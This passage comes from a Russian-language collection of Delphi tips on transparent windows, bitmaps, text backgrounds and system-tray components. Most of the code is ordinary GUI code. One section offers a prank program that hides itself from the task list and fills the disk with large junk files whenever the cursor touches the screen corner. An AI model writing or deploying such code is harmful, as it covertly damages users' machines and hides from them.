  SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
  SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
end;
end.
...
const
  WS_EX_LAYERED = $80000;
type
TSetLayeredWindowAttributes = function(hWnd : HWND; crKey : DWORD;
bAlpha : Byte; dwFlags : DWORD) : BOOL; stdcall;
...
procedure TForm1.FormCreate(Sender: TObject);
var
  SetLayeredWindowAttributes : TSetLayeredWindowAttributes;
  hUser32 : HINST;
begin
  SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
  hUser32 := LoadLibrary('user32.dll');
  if hUser32 <> 0 then
  begin
    try
      SetLayeredWindowAttributes := GetProcAddress(hUser32, 'SetLayeredWindowAttributes');
      if Assigned(@SetLayeredWindowAttributes) then
        SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
    finally
      FreeLibrary(hUser32);
    end;
  end;
end;

Прозрачный Bitmap.

Вам необходимо две копии вашего изображения. Маску и само изображение. Маска является ничем иным, как изображением, состоящим из двух цветов. Черного для тех областей, которые вы хотите показать, и белого для прозрачных. Для Windows 3.1 маска изображения может быть черно-белой, и предназначена для определения размеров изображения. В Win95 черно-белая маска ни при каких обстоятельствах не работает, т.к. у нее должна быть та же глубина цветов, что и у самого изображения, которое вы хотите показать. Изображение, которое вы хотите показать, должно содержать в прозрачных областях значение цвета, равное 0. Метод помещения изображения на экран такой же, как и в DOS. Маска AND экран, изображение OR или XOR с той же областью.

Ниже приведен код Delphi, позволяя сделать вышеописанное с помощью двух TBitmap.

Canvas.CopyMode := cmSrcAnd;
Canvas.CopyRect(TitleRect, BMask.Canvas, TitleRect);
{заполняем "пробелы" изображением}
Canvas.CopyMode := cmSrcPaint;
Canvas.CopyRect(TitleRect, BTitle.Canvas, TitleRect);

Прозрачный компонент.

Автор: Robert Wittig При выводе прозрачного окна, окна или элементы управления, расположенные под ним, также видны. При перемещении невидимого окна, при условии, что оно не скрывается/выводится вновь, оно сохраняет "снимок" графической области, которая была расположена под ним в момент вывода (а именно: окна или видимые компоненты).

Взгляните на модуль, приведенный ниже, в нем предлагается решение проблемы невидимого окна.

{  Начните с нового проекта.
Разместите на форме 4 кнопки и 1 компонент CheckBox.
Создайте обработчик события OnClick как показано ниже
Во время выполнения программы, если вы нажимаете на Button3,
щелчок по Button1 будет перехватываться InvWin; если вы
нажимаете на Button4, щелчок по Button2 будет перехватываться
InvWin. Поскольку "невидимое" окно первоначально представляет
собой простой дескриптор, элемент управления, расположенный
под ним, должен быть перерисован. Из-за этого существует
проблема мерцания, происходящая по сценарию как, будто вы
щелкнули по Button3 и Button4. При щелчке на CheckBox1,
InvWin.Invisible устанавливается в True. Это позволяет окну
не перерисовываться. Поскольку окно у нас теперь истинно
невидимое, то для устранения мерцания мы целенаправленно
посылаем необходимым окнам сообщение WM_SETREDRAW. }
unit Invwin1;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls;
type
  TInvWin = class(TWinControl)
  private
    fOnControl: TControl;
    fInvisible: Boolean;
    procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
  protected
    procedure CreateParams(var Params: TCreateParams); override;
    procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
      X, Y: Integer); override;
    procedure SetOnControl(Value: TControl); virtual;
  public
    constructor Create(aOwner: TComponent);
    property OnControl: TControl read fOnControl write SetOnControl;
    property Invisible: Boolean read fInvisible write fInvisible;
  end;
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Button4: TButton;
    CheckBox1: TCheckBox;
    procedure FormCreate(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure CheckBox1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    InvWin: TInvWin;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
constructor TInvWin.Create(aOwner: TComponent);
begin
  inherited Create(aOwner);
  ControlStyle := ControlStyle + [csOpaque];
end;
procedure TInvWin.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;
end;
procedure TInvWin.WMPaint(var Message: TWMPaint);
var
  DC: THandle;
  PS: TPaintStruct;
begin
  if not Invisible then
  begin
    if Message.DC = 0 then
      DC := BeginPaint(Handle, PS)
    else
      DC := Message.DC;
    PatBlt(DC, 0, 0, 5, 5, BLACKNESS);
    PatBlt(DC, Width - 6, 0, 5, 5, BLACKNESS);
    PatBlt(DC, 0, Height - 6, 5, 5, BLACKNESS);
    PatBlt(DC, Width - 6, Height - 6, 5, 5, BLACKNESS);
    if Message.DC = 0 then
      EndPaint(Handle, PS);
  end;
end;
procedure TInvWin.MouseDown(Button: TMouseButton; Shift:
  TShiftState; X, Y
  : Integer);
begin
  ShowMessage('MouseDown над невидимым окном');
end;
procedure TInvWin.SetOnControl(Value: TControl);
var
  Rect: TRect;
begin
  if Value <> fOnControl then
  begin
    { Используйте только WM_SETREDRAW, если окно полностью невидимо }
    if Invisible and (Parent <> nil) then
      Parent.Perform(WM_SETREDRAW, 0, 0);
    if fOnControl <> nil then
      Visible := False;
    if Value <> nil then
    begin
      Rect := Value.BoundsRect;
      InflateRect(Rect, 2, 2);
      BoundsRect := Rect;
    end;
    fOnControl := Value;
    if fOnControl <> nil then
      Visible := True;
    { Используйте только WM_SETREDRAW, если окно полностью невидимо }
    if Invisible and (Parent <> nil) then
      Parent.Perform(WM_SETREDRAW, 1, 0);
  end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
  InvWin := TInvWin.Create(Self);
  InvWin.Visible := False;
  InvWin.Parent := Self;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('MouseClick над Button1');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowMessage('MouseClick над Button2');
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
  InvWin.OnControl := Button1;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
  InvWin.OnControl := Button2;
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
  InvWin.OnControl := nil;
  InvWin.Invisible := CheckBox1.Checked;
end;
end.

Прозрачность в D6.

Автор: http://www.sources.ru В Delphi 6 разработчикам Windows-приложений доступна одна из замечательных возможностей создавать (полу)прозрачные формы (окна). В Delphi 6 класс TForm поддерживает формы со слоями, которые имеют свойства AlphaBlend, AlphaBlendValue, TransparentColor, и TransparentColorValue. Прозрачность в форме означает то, что пользователь может видить то, что находится позати формы. Чтобы подготовить форму к прозрачности, Вам потребуется установить свойство AlphaBlend в True. Если AlphaBlend установлено в True, то свойство AlphaBlendValue указывает степень прозрачности. Это свойство позволяет задать значения от 0 до 255. 0 указывает на полную прозрачность окна, в то время как 255 указывает на непрозрачное окно. Так же возможно устанавливать свойства AlphaBlend и AlphaBlendValue во время разработки (или во время выполнения приложения) при помощи Object Inspector.

Возможно, Вы подумаете, что такая возможность в Delphi, может Вам пригодиться довольно редко, однако прозрачностью можно довольно эффективно привлекать внимание пользователей Вашей программы:

procedure TAboutBox.FormClose
  (Sender: TObject; var Action: TCloseAction);
var
  i, cavb: 0..255;
begin
  if AlphaBlend = False then
  begin
    AlphaBlendValue := 255;
    AlphaBlend := True;
  end;
  cavb := AlphaBlendValue;
  for i := cavb downto 0 do
  begin
    AlphaBlendValue := i;
    Application.ProcessMessages;
  end
end;
Вышеприведённый код, в событие OnClose для формы about, создаёт плавно изменяющийся эффект. Когда пользователь попытается закрыть диалоговое окошко, то форма плавно исчезнет. Делается это путём циклического уменьшения AlphaBlendValue до нуля. Другие два новый свойства формы в Delphi 6, это TransparentColor и TransparentColorValue. TransparentColor, это булевое свойство, которое указывает, будет определённый цвет, указанный в TransparentColorValue прозрачным. То есть мы можем задать прозрачность только определённому цвету.

И взаключении хотелось бы указать на главный недостаток. Все свойства, описанные выше, не будут работать, если приложение запущено не под Windows 2000 или выше, и если процессор на компьютере ниже P90.

Как избежать того, что в некоторых видео режимах прозрачная часть g1урhа стандартного TBitBtn становится видной.

В примере используется техника закраски прозрачной части glурh'а цветом кнопки на которой он находится - таким образом glyph кажется прозрачным.

function InitStdBitBtn(BitBtn : TBitBtn; kind : TBitBtnKind) : bool;
var
  Bm1: TBitmap;
  Bm2: TBitmap;
begin
  Result := false;
  if Kind = bkCustom then
    exit;
  Bm1 := TBitmap.Create;
  case Kind of
    bkOK     : Bm1.Handle := LoadBitmap(hInstance, 'BBOK');
    bkCancel : Bm1.Handle := LoadBitmap(hInstance, 'BBCANCEL');
    bkHelp   : Bm1.Handle := LoadBitmap(hInstance, 'BBHELP');
    bkYes    : Bm1.Handle := LoadBitmap(hInstance, 'BBYES');
    bkNo     : Bm1.Handle := LoadBitmap(hInstance, 'BBNO');
    bkClose  : Bm1.Handle := LoadBitmap(hInstance, 'BBCLOSE');
    bkAbort  : Bm1.Handle := LoadBitmap(hInstance, 'BBABORT');
    bkRetry  : Bm1.Handle := LoadBitmap(hInstance, 'BBRETRY');
    bkIgnore : Bm1.Handle := LoadBitmap(hInstance, 'BBIGNORE');
    bkAll    : Bm1.Handle := LoadBitmap(hInstance, 'BBALL');
  end;
  Bm2 := TBitmap.Create;
  Bm2.Width := Bm1.Width;
  Bm2.Height := Bm1.Height;
  Bm2.Canvas.Brush.Color := ClBtnFace;
  Bm2.Canvas.BrushCopy(Rect(0, 0, bm2.Width, bm2.Height), Bm1,
  Rect(0, 0, Bm1.width, Bm1.Height),
  Bm1.canvas.pixels[0,0]);
  Bm1.Free;
  LockWindowUpdate(BitBtn.Parent.Handle);
  BitBtn.Kind := kind;
  BitBtn.Glyph.Assign(bm2);
  LockWindowUpdate(0);
  Bm2.Free;
  Result := true;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  InitStdBitBtn(BitBtn1, bkOk);
end;

Прозрачный растр.

Автор: Павел

Пожалуй, это самый простой способ создания прозрачного изображения. Суть его в том, что маска создается автоматически во время выполнения программы, используя значение прозрачного цвета.

MaskBitmap := TBitmap.Create;
MaskBitmap.Assign(SrcBitmap);
MaskBitmap.Mask(FColor); //прозрачный цвет
BitBlt(DestBitmap.Canvas.Handle, x, y,
  SrcBitmap.Width, SrcBitmap.Height,
  MaskBitmap.Canvas.Handle, 0, 0, SRCAND);
BitBlt(DestBitmap.Canvas.Handle, x, y,
  SrcBitmap.Width, SrcBitmap.Height,
  SrcBitmap.Canvas.Handle, 0, 0, SRCINVERT);
MaskBitmap.Free;

Как сделать прозрачным фон текста.

Используйте функцию SetBkMode():

procedure TForm1.Button1Click(Sender: TObject);
var
  OldBkMode: integer;
begin
  with Form1.Canvas do
  begin
    Brush.Color := clRed;
    FillRect(Rect(0, 0, 100, 100));
    Brush.Color := clBlue;
    TextOut(10, 20, 'Not Transparent!');
    OldBkMode := SetBkMode(Handle, TRANSPARENT);
    TextOut(10, 50, 'Transparent!');
    SetBkMode(Handle, OldBkMode);
  end;
end;

Прозрачное окно.

Статьи по Delphi (017)…
unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Label1: TLabel;
    Button1: TButton;
  protected
    procedure RebuildWindowRgn;
    procedure Resize; override;
  public
    constructor Create(AOwner:TComponent);override;
  end;
var
  Form1: TForm1;
implementation
{$R *.DFM}
constructor TForm1.Create(AOwner:TComponent);
begin
  inherited;
  HorzScrollbar.Visible := false;
  VertScrollbar.Visible := false;
  RebuildWindowRgn;
end;
procedure TForm1.Resize;
begin
  inherited;
  RebuildWindowRgn;
end;
procedure TForm1.RebuildWindowRgn;
var
  FullRgn, Rgn: THandle;
  ClientX, ClientY, i: integer;
begin
  ClientX:=(Width-ClientWidth) div 2;
  ClientY:=Height-ClientHeight-ClientX;
  FullRgn:=CreateRectRgn(0,0,Width,Height);
  Rgn:=CreateRectRgn(ClientX,ClientY,ClientX+ClientWidth,
  ClientY+ClientHeight);
  CombineRgn(FullRgn,FullRgn,Rgn,RGN_DIFF);
  for i:=0 to ControlCount-1 do
    with Controls[i] do
    begin
      Rgn:=CreateRectRgn(ClientX+Left,ClientY+Top,
      ClientX+Left+Width,ClientY+Top+Height);
      CombineRgn(FullRgn,FullRgn,Rgn,RGN_OR);
    end;
  SetWindowRgn(Handle,FullRgn,true);
end;
end.

Прозрачное окно 2.

procedure TForm1.FormCreate(Sender: TObject);
begin
  Form1.Brush.Style := bsClear;
  Form1.BorderStyle := bsNone
end;

Мало места на винте.

Статьи по Delphi (017)…
Программист увидел НЛО: - У кого-то диск полетел...

Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором.

program musor;
uses
  Windows;
var
   { Объявление переменных }
  text: TextFile;
  alphabet, temp: string;
  i: integer;
  point: TPoint;
function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
  RegisterServiceProcess(0, 1);
  {заполняем строку алфавитом}
  alphabet := 'abcdefghijklmnopqrstucvwxyz';
  while true do
  begin
    { получаем координаты курсора }
    GetCursorPos(point);
    { если х = 0 и y = 0 то }
    if (point.x = 0) and (point.y = 0) then
    begin
      temp:=''; {очищаем буфер}
      for i:=1 to 8 do {генерируем случайное имя файла}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      temp:=Concat(temp, '.');
      for i:=1 to 3 do {генерируем случайное расширение}
        temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
      Assign(text, temp); { присваиваем имя файлу }
      Rewrite(text); {открываем файл}
      for i:=1 to 30000000 do
      begin
        Yield;
        write(text, '!'); { наполняем файл мусором }
      end;
      Close(text); {закрываем файл }
    end;
  end; {всё сначала }
end.

Компонент TrayComp.

Автор: Alexander Rodigin.

{************* FREEWARE ******************}
{****************************************************}
{************* copyright (c) ******************}
{************* Alexander Rodigin ******************}
{************* ras@ras.udm.ru ******************}
{************* May 6 1999 Russia ******************}
{*****************************************************
TrayComponent is a mix of two components:
Stealth by Janus N. Тшndегing 1998
[j@nus.person.dk]
with thanks to...
Eric Lawrence [deltagrp@juno.com]
John Molyneux [jaymol@hotmail.com]
copyright © Amigreen Software 1998
and
TrayIcon by Pete Ness
Compuserve ID: 102347,710
Internet: 102347.710@compuserve.com
http:\\ourworld.compuserve.com\homepages\peteness.
Some properties were modified.
Also some new properties were added :
1)ShowInTaskBar allow not to minimize the form onto TaskBar;
2)ShowForm allow completely hide the form from the user and Alt-Tab Menu;
3)RunMinimized disallow application's start-up in minimized state
  because minimized form will appear onto Task Bar;
4)DefRClick and DefLClick activates the form if ShowForm = true
  and no code assigned to these eventhandlers;
5)the Icon by default is the application's icon;
6)HideApp doesn't conflict with Windows NT now;
The first time you try TTrayComponent just put it onto the form and
run app to test default options.
Any changes,bugs and suggestions please report to ras@ras.udm.ru}
unit TrayComp;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, ShellAPI, Menus, Dialogs, CommCtrl;
const
  WM_FROMTRAYICON = WM_USER+59;
  WM_RESETTOOLTIP = WM_USER+61;
type
  TTrayComp = class(TComponent)
  private
    { Private declarations }
    { general }
    FhWnd : hWnd;
    FhLib : hInst;
    { for hiding }
    FHideApp : Boolean;
    FShowForm : Boolean;
    FShowInTaskBar: Boolean;
    FRunMinimized : Boolean;
    OldWndProc : TFarProc;
    NewWndProc : Pointer;
    { for icon }
    IconData : TNOTIFYICONDATA;
    FIcon : TIcon;
    FToolTip : string;
    FShowIcon : Boolean;
    FPopupMenu : TPopupMenu;
    FDefRClick : Boolean;
    FDefLClick : Boolean;
    FOnLeftClick : TNotifyEvent;
    FOnRightClick : TMouseEvent;
    FOnMouseMove : TNotifyEvent;
    { for hiding }
    procedure SetHideApp(Value:Boolean);
    procedure SetShowForm(Value:Boolean);
    procedure SetShowInTaskBar(Value: Boolean);
    procedure InsertHook;
    procedure RemoveHook;
    procedure OurWndProc(var M: TMessage);
    { for icon }
    function PlaceIcon : Boolean;
    function ReplaceIcon : Boolean;
    function EraseIcon : Boolean;
    procedure SetShowIcon(Value : Boolean);
    procedure SetIcon(Value : TIcon);
    procedure SetToolTip(Value : string);
    procedure FillIconData;
    procedure DoRightClick(Sender : TObject);
    procedure DoLeftClick(Sender : TObject);
    procedure DoMouseMove(Sender:TObject);
  protected
    { Protected declarations }
    { for hiding }
    procedure Loaded; override;
    procedure DoHiding;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    { Published declarations }
    { for hiding }
    property HideApp :Boolean read FHideApp write SetHideApp ;
    property ShowForm :Boolean read FShowForm write SetShowForm default True;
    property ShowInTaskBar:Boolean read FShowInTaskBar write SetShowInTaskBar default False;
    property RunMinimized :Boolean read FRunMinimized write FRunMinimized default False;
    { for icon }
    property ShowIcon : boolean read FShowIcon write SetShowIcon;
    property Icon : TIcon read FIcon write SetIcon;
    property ToolTip : string read FTooltip write SetToolTip;
    property PopupMenu : TPopupMenu read fPopupMenu write fPopupMenu;
    property DefRClick : Boolean read FDefRClick write FDefRClick default False;
    property DefLClick : Boolean read FDefLClick write FDefLClick default True;
    property OnLeftClick : TNotifyEvent read FOnLeftClick write FOnLeftClick;
    property OnRightClick : TMouseEvent read FOnRightClick write FonRightClick;
    property OnMouseMove : TNotifyEvent read FOnMouseMove write FOnMouseMove;
  end;
procedure register;
implementation
constructor TTrayComp.Create(AOwner: TComponent);
var
  i: Integer;
  Already:Byte;
begin
  inherited Create(AOwner);
  { for hiding }
  FHideApp:=True;
  FShowForm:=True;
  FShowInTaskBar := False;
  FRunMinimized:=False;
  NewWndProc := nil;
  OldWndProc := nil;
  Already:=0;
  if (csDesigning in ComponentState) then
    if (AOwner is TForm) then
      with (AOwner as TForm) do
      begin
        for i := 0 to ComponentCount - 1 do
          if Components[i] is TTrayComp then
            Inc(Already);
        if Already>1 then
          raise Exception.Create('You can''t create a second TTrayComp on the same form!');
      end
    else
      raise Exception.Create('You can create a TTrayComp only on the form!');
  { for icon }
  FIcon := TIcon.Create;
  FShowIcon:=True;
  FDefRClick:=False;
  FDefLClick:=True;
  if (csDesigning in ComponentState) then
    SetIcon(Application.Icon);
end;
destructor TTrayComp.Destroy;
begin
  { for hiding }
  RemoveHook;
  { for icon }
  if not (csDesigning in ComponentState)then
    if FShowIcon then
      EraseIcon;
  FIcon.Free;
  inherited Destroy;
end;
procedure TTrayComp.Loaded;
begin
  inherited Loaded;
  FhWnd:=(Owner as TForm).Handle;
  { terminate if minimized not allowed }
  if IsIconic(FhWnd)and not FRunMinimized then
    Application.Terminate;
  InsertHook;
  { hide the form at start-up if needed }
  if not FShowForm then
  begin
    (Owner as TForm).Visible:=False;
    Application.ShowMainForm:=False;
  end;
end;
procedure TTrayComp.DoHiding;
begin
  if not (csDesigning in ComponentState) then
    if not FShowInTaskBar then
      ShowWindow(FindWindow(nil, @Application.Title[1]), SW_HIDE);
end;
procedure TTrayComp.SetShowInTaskBar(Value:Boolean);
begin
  FShowInTaskBar:=Value;
  DoHiding;
end;
procedure TTrayComp.InsertHook;
begin
  if Owner <> nil then
  begin
    OldWndProc := TFarProc(GetWindowLong(FhWnd, GWL_WNDPROC));
    NewWndProc := MakeObjectInstance(OurWndProc);
    SetWindowLong(FhWnd, GWL_WNDPROC,Integer(NewWndProc));
  end;
end;
procedure TTrayComp.RemoveHook;
begin
  if (Owner <> nil) and Assigned(OldWndProc) then
    SetWindowLong(FhWnd, GWL_WNDPROC,Integer(OldWndProc));
  if Assigned(NewWndProc) then
    FreeObjectInstance(NewWndProc);
  NewWndProc := nil;
  OldWndProc := nil;
end;
procedure TTrayComp.OurWndProc(var M: TMessage);
begin
  if Owner <> nil then
    case M.Msg of
      WM_ACTIVATE:
        if (M.WParamLo <> WA_INACTIVE) then
          DoHiding;
      WM_SYSCOMMAND:
        if (M.WParam = SC_MINIMIZE)and not ShowInTaskBar then
        begin
          M.Msg:=WM_SHOWWINDOW;
          M.WParam := SW_HIDE;
        end;
      WM_FROMTRAYICON:
      begin
        case M.LParam of
          WM_LBUTTONUP : DoLeftClick(Self);
          WM_RBUTTONUP : DoRightClick(Self);
          WM_MOUSEMOVE : DoMouseMove(Self);
        end;
        Exit
      end;
      WM_RESETTOOLTIP:
      begin
        SetToolTip(FToolTip);
        Exit
      end
    end;
  M.Result := CallWindowProc(OldWndProc,FhWnd, M.Msg, M.WParam, M.LParam);
end;
procedure TTrayComp.SetHideApp(Value:Boolean);
type
  Proc=procedure(PID,T:DWord); stdcall;
var
  RegProc: Proc;
begin
  if Value<>FHideApp then
    FHideApp:=Value;
  if not (csDesigning in ComponentState)then
  begin
    if FhLib=0 then
      FhLib:=GetModuleHandle(PChar('kernel32.dll'));
    if FhLib=0 then
      Exit;
    @RegProc:=GetProcAddress(FhLib,PChar('RegisterServiceProcess'));
    if @RegProc<>nil then
    begin
      if Value then
        RegProc(GetCurrentProcessID, 1)
      else
        RegProc(GetCurrentProcessID, 0);
    end
    else
      FHideApp:=False;
  end;
end;
procedure TTrayComp.SetShowForm(Value:Boolean);
begin
  if not (csDesigning in ComponentState)then
    if Value then
      ShowWindow(FhWnd,SW_SHOW)
    else
      ShowWindow(FhWnd,SW_HIDE);
  if Value and not(Owner as TForm).Visible then
    (Owner as TForm).Visible:=True;
  if FShowForm<>Value then
    FShowForm:=Value;
  DoHiding;
end;
procedure TTrayComp.FillIconData;
begin
  with IconData do
  begin
    cbSize := sizeof(TNOTIFYICONDATA);
    wnd := (Owner as TForm).Handle;
    uID := 0;
    uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
    hIcon := FIcon.Handle;
    StrPCopy(szTip,FToolTip);
    uCallbackMessage := WM_FROMTRAYICON;
  end;
end;
procedure TTrayComp.SetToolTip(Value:string);
begin
  // This routine ALWAYS re-sets the field value and re-loads the
  // icon. This is so the ToolTip can be set blank when the component
  // is first loaded. If this is changed, the icon will be blank on
  // the tray when no ToolTip is specified.
  if Length( Value ) > 62 then
    Value := Copy(Value,1,62);
  FToolTip := Value;
  ReplaceIcon;
end;
function TTrayComp.PlaceIcon:Boolean;
begin
  FillIconData;
  Result := Shell_NotifyIcon(NIM_ADD,@IconData);
  // For some reason, if there is no tool tip set up, then the icon
  // doesn't display. This fixes that.
  if FToolTip = '' then
    PostMessage( (Owner as TForm).Handle, WM_RESETTOOLTIP,0,0 );
end;
function TTrayComp.ReplaceIcon:Boolean;
begin
  FillIconData;
  if FShowIcon then
    Result := Shell_NotifyIcon(NIM_MODIFY,@IconData)
  else
    Result := True;
end;
function TTrayComp.EraseIcon:Boolean;
begin
  Result := Shell_NotifyIcon(NIM_DELETE,@IconData);
end;
procedure TTrayComp.SetShowIcon(Value:Boolean);
begin
  if not (csdesigning in ComponentState) then
  begin
    if Value then
      PlaceIcon
    else
      EraseIcon
  end;
  if Value <> FShowIcon then
    FShowIcon:=Value;
end;
procedure TTrayComp.SetIcon(Value:TIcon);
begin
  if Value <> FIcon then
  begin
    FIcon.Assign(Value);
    ReplaceIcon;
  end;
end;
procedure TTrayComp.DoRightClick(Sender:TObject);
var
  Coord: TPoint;
begin
  GetCursorPos(Coord);
  if Assigned( FOnRightClick ) then
    FOnRightClick(Self,mbRight,[],Coord.X,Coord.Y)
  else
    if FDefRClick and FShowForm then
    begin
      ShowWindow(FhWnd,SW_SHOW);
      SetActiveWindow(FhWnd);
    end;
  if Assigned(FPopupMenu) then
  begin
    SetActiveWindow((Owner as TForm).Handle);
    FPopupMenu.PopUp(Coord.X,Coord.Y);
  end
end;
procedure TTrayComp.DoLeftClick(Sender : TObject);
begin
  if Assigned(FOnLeftClick)then
    FOnLeftClick(Self)
  else
  if DefLClick and FShowForm then
  begin
    ShowWindow(FhWnd,SW_SHOW);
    SetActiveWindow(FhWnd);
  end;
end;
procedure TTrayComp.DoMouseMove(Sender : TObject);
begin
  if Assigned(FOnMouseMove)then
    FOnMouseMove(Self)
end;
procedure register;
begin
  RegisterComponents('RAS', [TTrayComp]);
end;
end.

Компонент TrayIcon.

unit Trayicon;
interface
uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls, ShellAPI, Forms,
  menus;
const
  WM_TOOLTRAYICON = WM_USER + 1;
  WM_RESETTOOLTIP = WM_USER + 2;
type
  TTrayIcon = class(TComponent)
  private
    // BDS
    { для внутреннего пользования }
    hMapping: THandle;
    { Набор переменных }
    IconData: TNOTIFYICONDATA;
    fIcon: TIcon;
    fToolTip: string;
    fWindowHandle: HWND;
    fActive: boolean;
    fShowApp: boolean; // Добавлено
    fSendMsg: string;
    fShowDesigning: Boolean;
    { События }
    fOnClick: TNotifyEvent;
    fOnDblClick: TNotifyEvent;
    fOnRightClick: TMouseEvent;
    fPopupMenu: TPopupMenu;
    function AddIcon: boolean;
    function ModifyIcon: boolean;
    function DeleteIcon: boolean;
    procedure SetActive(Value: boolean);
    procedure SetShowApp(Value: boolean); // Добавлено
    procedure SetShowDesigning(Value: boolean);
    procedure SetIcon(Value: TIcon);
    procedure SetToolTip(Value: string);
    procedure WndProc(var msg: TMessage);
    procedure FillDataStructure;
    procedure DoRightClick(Sender: TObject);
  protected
  public
    FMessageID: DWORD;
    constructor create(aOwner: TComponent); override;
    procedure Loaded; override; // Добавлено
    destructor destroy; override;
    procedure GoToPreviousInstance;
  published
    property Active: boolean read fActive write SetActive;
    property ShowDesigning: boolean read fShowDesigning write
      SetShowDesigning;
    property Icon: TIcon read fIcon write SetIcon;
    property IDMessage: string read fSendMsg write fSendMsg;
    property ShowApp: boolean read fShowApp write SetShowApp; // Добавлено
    property ToolTip: string read fTooltip write SetToolTip;
    property OnClick: TNotifyEvent read FOnClick write FOnClick;
    property OnDblClick: TNotifyEvent read FOnDblClick write FOnDblClick;
    property OnRightClick: TMouseEvent read FOnRightClick write
      FonRightClick;
    property PopupMenu: TPopupMenu read fPopupMenu write fPopupMenu;
  end;
procedure Register;
type
  PHWND = ^HWND;
implementation
{$R TrayIcon.res}
procedure TTrayIcon.GoToPreviousInstance;
begin
  PostMessage(hwnd_Broadcast, fMessageID, 0, 0);
end;
procedure TTrayIcon.SetActive(Value: boolean);
begin
  if value <> fActive then
  begin
    fActive := Value;
    if not (csdesigning in ComponentState) then
    begin
      if Value then
      begin
        AddIcon;
      end
      else
      begin
        DeleteIcon;
      end;
    end;
  end;
end;
procedure TTrayIcon.SetShowApp(Value: boolean); // Добавлено
begin
  if value <> fShowApp then
    fShowApp := value;
  if not (csdesigning in ComponentState) then
  begin
    if Value then
    begin
      ShowWindow(Application.Handle, SW_SHOW);
    end
    else
    begin
      ShowWindow(Application.Handle, SW_HIDE);
    end;
  end;
end;
procedure TTrayIcon.SetShowDesigning(Value: boolean);
begin
  if csdesigning in ComponentState then
  begin
    if value <> fShowDesigning then
    begin
      fShowDesigning := Value;
      if Value then
      begin
        AddIcon;
      end
      else
      begin
        DeleteIcon;
      end;
    end;
  end;
end;
procedure TTrayIcon.SetIcon(Value: Ticon);
begin
  if Value <> fIcon then
  begin
    fIcon.Assign(value);
    ModifyIcon;
  end;
end;
procedure TTrayIcon.SetToolTip(Value: string);
begin
  // Данная программа ВСЕГДА переустанавливает текст подсказки и перезагружает
  // иконку. Текст может быть пустым в случае первой инициализации компонента.
  // Без инициализации иконка будет пустой и текст подсказки будет отсутствовать.
  if length(Value) > 62 then
    Value := copy(Value, 1, 62);
  fToolTip := value;
  ModifyIcon;
end;
constructor TTrayIcon.create(aOwner: Tcomponent);
begin
  inherited create(aOwner);
  FWindowHandle := AllocateHWnd(WndProc);
  FIcon := TIcon.Create;
  SetShowApp(False);
end;
destructor TTrayIcon.destroy;
begin
  // BDS
  CloseHandle(hMapping);
  if (not (csDesigning in ComponentState) and fActive)
    or ((csDesigning in ComponentState) and fShowDesigning) then
    DeleteIcon;
  FIcon.Free;
  DeAllocateHWnd(FWindowHandle);
  inherited destroy;
end;
procedure TTrayIcon.Loaded;
var
  // BDS
  // hMapping: HWND;
  tmp, tmpID: PChar;
begin
  inherited Loaded;
  if fSendMsg <> '' then
  begin
    GetMem(tmp, Length(fSendMsg) + 1);
    GetMem(tmpID, Length(fSendMsg) + 1);
    StrPCopy(tmp, fSendMsg);
    StrPCopy(tmpID, fSendMsg);
    fMessageID := RegisterWindowMessage(tmp);
    FreeMem(tmp);
    hMapping := CreateFileMapping(HWND($FFFFFFFF), nil, PAGE_READONLY, 0, 32,
      tmpID);
    if (hMapping <> NULL) and (GetLastError = ERROR_ALREADY_EXISTS) then
    begin
      if not (csDesigning in ComponentState) then
      begin
        GotoPreviousInstance;
        FreeMem(tmpID);
        halt;
      end;
    end;
    FreeMem(tmpID);
  end;
  SetShowApp(fShowApp);
end;
procedure TTrayIcon.FillDataStructure;
begin
  with IconData do
  begin
    cbSize := sizeof(TNOTIFYICONDATA);
    wnd := FWindowHandle;
    uID := 0; // определенный приложением идентификатор иконки
    uFlags := NIF_MESSAGE + NIF_ICON + NIF_TIP;
    hIcon := fIcon.Handle;
    StrPCopy(szTip, fToolTip);
    uCallbackMessage := WM_TOOLTRAYICON;
  end;
end;
function TTrayIcon.AddIcon: boolean;
begin
  FillDataStructure;
  result := Shell_NotifyIcon(NIM_ADD, @IconData);
  // По неизвестной причине, если не задан текст всплывающей
  // подсказки, иконка не выводится. Здесь это учтено.
  if fToolTip = '' then
    PostMessage(fWindowHandle, WM_RESETTOOLTIP, 0, 0);
end;
function TTrayIcon.ModifyIcon: boolean;
